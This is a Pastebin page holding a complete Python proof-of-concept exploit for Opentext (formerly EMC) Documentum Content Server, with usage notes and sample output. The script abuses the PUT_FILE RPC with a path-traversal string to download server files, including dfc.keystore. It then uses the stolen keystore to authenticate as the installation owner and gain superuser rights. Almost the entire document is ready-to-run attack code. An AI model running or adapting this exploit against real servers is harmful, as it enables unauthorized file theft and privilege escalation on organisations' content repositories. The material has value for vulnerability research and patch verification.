Advertisement
Guest User

Untitled

a guest
Sep 20th, 2017
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.47 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. # Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
  4. # does not properly validate input of PUT_FILE RPC-command which allows any
  5. # authenticated user to hijack arbitrary file from Content Server filesystem,
  6. # because some files on Content Server filesystem are security-sensitive
  7. # the security flaw described above leads to privilege escalation
  8. #
  9. # The PoC below demonstrates this vulnerability:
  10. #
  11. # MacBook-Pro:~ $ python OTDocumentumPutFileVulnerability.py
  12. # usage:
  13. # OTDocumentumPutFileVulnerability.py host port user password
  14. # MacBook-Pro:~ $ python OTDocumentumPutFileVulnerability.py docu72dev01 10001 dm_bof_registry dm_bof_registry
  15. # Trying to connect to docu72dev01:10001 as dm_bof_registry ...
  16. # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
  17. # Downloading /u01/documentum/cs/product/7.2/bin/dm_set_server_env.sh
  18. # Trying to find any object with content...
  19. # Downloading /u01/documentum/cs/shared/config/dfc.keystore
  20. # Trying to find any object with content...
  21. # Trying to connect to docu72dev01:10001 as dmadmin ...
  22. # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
  23. # P0wned!
  24. #
  25. #
  26.  
  27. import socket
  28. import sys
  29. from os.path import basename
  30.  
  31. from dctmpy.docbaseclient import DocbaseClient, NULL_ID
  32. from dctmpy.identity import Identity
  33. from dctmpy.obj.typedobject import TypedObject
  34.  
  35. CIPHERS = "ALL:aNULL:!eNULL"
  36.  
  37.  
  38. def usage():
  39. print "usage:\n\t%s host port user password" % basename(sys.argv[0])
  40.  
  41.  
  42. def main():
  43. if len(sys.argv) != 5:
  44. usage()
  45. exit(1)
  46.  
  47. (session, docbase) = create_session(*sys.argv[1:5])
  48.  
  49. if is_super_user(session):
  50. print "Current user is a superuser, nothing to do"
  51. exit(1)
  52.  
  53. admin_console = session.get_by_qualification(
  54. "dm_method where object_name='dm_JMSAdminConsole'")
  55. env_script = admin_console['method_verb']
  56. env_script = env_script.replace('dm_jms_admin.sh', 'dm_set_server_env.sh')
  57.  
  58. keystore_path = None
  59. script = str(download(session, env_script, bytearray()))
  60. if not script:
  61. print "Unable to download dm_set_server_env.sh"
  62. exit(1)
  63.  
  64. for l in script.splitlines():
  65. if not l.startswith("DOCUMENTUM_SHARED"):
  66. continue
  67. keystore_path = l.split('=')[1]
  68. break
  69.  
  70. if not keystore_path:
  71. print "Unable to determine DOCUMENTUM_SHARED"
  72. exit(1)
  73.  
  74. keystore_path += "/config/dfc.keystore"
  75. keystore = str(download(session, keystore_path, bytearray()))
  76.  
  77. if not keystore:
  78. print "Unable to download dfc.keystore"
  79. exit(1)
  80.  
  81. (session, docbase) = create_session(
  82. sys.argv[1], sys.argv[2],
  83. session.serverconfig['r_install_owner'], "",
  84. identity=Identity(trusted=True, keystore=keystore))
  85. if is_super_user(session):
  86. print "P0wned!"
  87.  
  88.  
  89. def download(session, path, buf):
  90. print "Downloading %s" % path
  91. print "Trying to find any object with content..."
  92. object_id = session.query(
  93. "SELECT FOR READ r_object_id "
  94. "FROM dm_sysobject WHERE r_content_size>0") \
  95. .next_record()['r_object_id']
  96.  
  97. session.apply(None, NULL_ID, "BEGIN_TRANS")
  98. store = session.get_by_qualification("dm_filestore")
  99. format = session.get_by_qualification("dm_format")
  100. remote_path = "common=/../../../../../../../../../..%s=Directory" % path
  101. result = session.put_file(store.object_id(), remote_path, format.object_id())
  102. full_size = result['FULL_CONTENT_SIZE']
  103. ticket = result['D_TICKET']
  104.  
  105. content_id = session.next_id(0x06)
  106. obj = TypedObject(session=session)
  107. obj.set_string("OBJECT_TYPE", "dmr_content")
  108. obj.set_bool("IS_NEW_OBJECT", True)
  109. obj.set_int("i_vstamp", 0)
  110. obj.set_id("storage_id", store.object_id())
  111. obj.set_id("format", format.object_id())
  112. obj.set_int("data_ticket", ticket)
  113. obj.set_id("parent_id", object_id)
  114. if not session.save_cont_attrs(content_id, obj):
  115. raise RuntimeError("Unable to save content object")
  116.  
  117. handle = session.make_puller(
  118. NULL_ID, store.object_id(), content_id,
  119. format.object_id(), ticket
  120. )
  121.  
  122. if handle == 0:
  123. raise RuntimeError("Unable make puller")
  124.  
  125. for chunk in session.download(handle):
  126. buf.extend(chunk)
  127.  
  128. return buf
  129.  
  130.  
  131. def create_session(host, port, user, pwd, identity=None):
  132. print "Trying to connect to %s:%s as %s ..." % \
  133. (host, port, user)
  134. session = None
  135. try:
  136. session = DocbaseClient(
  137. host=host, port=int(port),
  138. username=user, password=pwd,
  139. identity=identity)
  140. except socket.error, e:
  141. if e.errno == 54:
  142. session = DocbaseClient(
  143. host=host, port=int(port),
  144. username=user, password=pwd,
  145. identity=identity,
  146. secure=True, ciphers=CIPHERS)
  147. else:
  148. raise e
  149. docbase = session.docbaseconfig['object_name']
  150. version = session.serverconfig['r_server_version']
  151. print "Connected to %s:%s, docbase: %s, version: %s" % \
  152. (host, port, docbase, version)
  153. return (session, docbase)
  154.  
  155.  
  156. def is_super_user(session):
  157. user = session.get_by_qualification(
  158. "dm_user WHERE user_name=USER")
  159. if user['user_privileges'] == 16:
  160. return True
  161. group = session.get_by_qualification(
  162. "dm_group where group_name='dm_superusers' "
  163. "AND any i_all_users_names=USER")
  164. if group is not None:
  165. return True
  166.  
  167. return False
  168.  
  169.  
  170. if __name__ == '__main__':
  171. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement